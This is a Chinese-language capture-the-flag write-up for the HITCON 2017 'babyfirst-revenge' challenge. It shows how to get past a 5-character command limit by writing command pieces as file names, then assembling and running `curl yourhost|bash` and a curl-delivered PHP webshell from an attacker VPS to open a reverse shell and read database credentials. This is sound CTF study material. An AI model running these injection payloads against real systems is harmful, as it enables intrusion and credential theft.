HITCON2017 babyfirst-revenge


初看這題,完全沒有思路???!!!


沒轍,只能找大佬,看了網上各路大神的思路,從看不懂writeup到慢慢理解原理,學習了~多數writeup思路差不多,總歸是利用\來多次輸入命令,繞過長度限制,有的人直接curl xxx(不用ls -t這個我沒有成功,因爲是在構造不出ip地址各種進制的序列問題),痛苦~~


關鍵一:繞過5位長度限制

要想繞過長度限制執行多條命令,顯然會想到先將命令放到文件中取執行。第一個問題就是如何寫文件?

> (右尖括號) 在linux起輸出重定向的作用

>1 可以生成一個文件名爲1的文件


ls 顯示列表

這是linux中的常用命令,該命令可顯示列表,這裏爲什麼要用到這個命令呢,其實跟我們的上一步中通過重定向生成的特殊文件名有關。我們通過ls>x,可以講列表名輸出重定向到x文件中,這樣我們產生的文件名即可被利用。

\(反斜槓) Linux的命令執行中支持命令換行 需要用到反斜槓\ 寫到最後面(即使中間有未識別的命令也不影響其執行)


關鍵二:ls 排序問題(有反轉)

這個問題就搞了至少半天,網上給出的例子在kali、Ubuntu中呈現的都是完全不一樣的結果,尤其是針對字母數字混合其他特殊字符的情況。


一開始的想法就是從第一個字母開始排序,特殊字符在前、數字中間、字母最後。直到我試了-a


-a 沒有出現在最前面。

ls -l的默認排序方式手冊上只寫了是alphabetically(字典序),經過測試發現ls排序方式是忽視字母大小寫,數字排在字母前面,無視數字和英文字母之外的字符。

如果我們現在需要`ls -t>y`,那應該如何提交參數呢?如下:

1.cmd=>l\\

2.cmd=>s\ \\

3.cmd=-t\\

4.cmd=>\>y


這種情況下默認排序正好是我們想要的順序。

繼續執行`ls>_`,講文件列表輸出到_中


這時候`ls -t>y`這個命令就存在_文件中,我們通過sh _即可執行命令,之所以要先ls -t,其實是因爲ls的默認排序是在是很難按照想要的順序構造命令,加上參數-t,我們可以按時間進行排序(最新的在上),這樣我們的命令就很好存放到文件中了,不用再取細心構造(官方writeup也是如此,只是未能在我的測試環境中測試成功)。

接下來,我們再把`curl yourhost>z`命令分段輸入進去(倒着輸入)


以上只能把命令行中測試成功,但在php執行後中卻完全不一樣!!!!不一樣


如圖


通過php執行生成的_的內容序列並非和我們在linux命令行中看到的一樣!-t、>y反而在最前面!

經過 Abyss 大神的指導,得知 ls 排序和環境變量LC_COLLATE有關!


php默認的應該是c,這裏給除另一個可參考的材料,來自知乎 https://www.zhihu.com/question/273928679

所以這裏各位還是採用官方給出的構造`ls -t>y`

    # generate `ls -t>y` file
    '>ls\\', 
    'ls>_', 
    '>\ \\', 
    '>-t\\', 
    '>\>y', 
    'ls>>_', 

通過追加的方式講第二次ls的內容-t和-y與第一次ls生成的ls集合成一條命令。生成的_文件的內容大致如下:


這樣`ls -t>y`命令就構造完畢了

關鍵三:如何利用?

代碼可以構造了,那該如何利用呢?綜合網絡上的例子一種通過curl(也有人用wget)下載腳本,腳本可以是php腳本,bash腳本,可以生成webshell,也可以反彈shell。

  • 寫WEBSHELL

140.143.xx.xx這是我的一臺vps,我在根目錄下面放了要執行php代碼(參考了php寫一句話木馬爲例)


我們可以看到輸入的curl命令的順序都是亂的,這是後就好藉助之前生成的`ls -t>y`

執行`sh _`


命令執行後生成了新的文件y,y中包含了需要執行的curl語句。然後,繼續執行`sh y`,執行語句,生成z文件。


z文件內容即爲需要執行的代碼,通過`php z`即可執行php生成fun.php文件。愛春秋平臺的測試環境沒法直接訪問sandbox,所以該方法無法使用。

  • 反彈shell

講服務器的目錄文件替換爲bash腳本,如下:


對應的curl語句修改一下,改爲`curl yourhost|bash`即可。(vps在疼訊雲上,4444可能有所限制,我換成8181就行了)


關鍵四:flag在哪裏?


整理下心情,搜索下flag。

在 home 目錄下找到 fl4444g 文件夾,裏面有個README.txt


提示flag在mysql數據庫,fl4444g/Su*****應該就是用戶名密碼


這裏不知道爲什麼-e用不了,只能交互+exit輸出內容(知道原因了,-ufl4444g -pxxx,不要用空格就行)


另外,還有人找到在根目錄下的 run.sh 也有數據庫賬戶信息。



這一道題,可以總結的東西很多。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章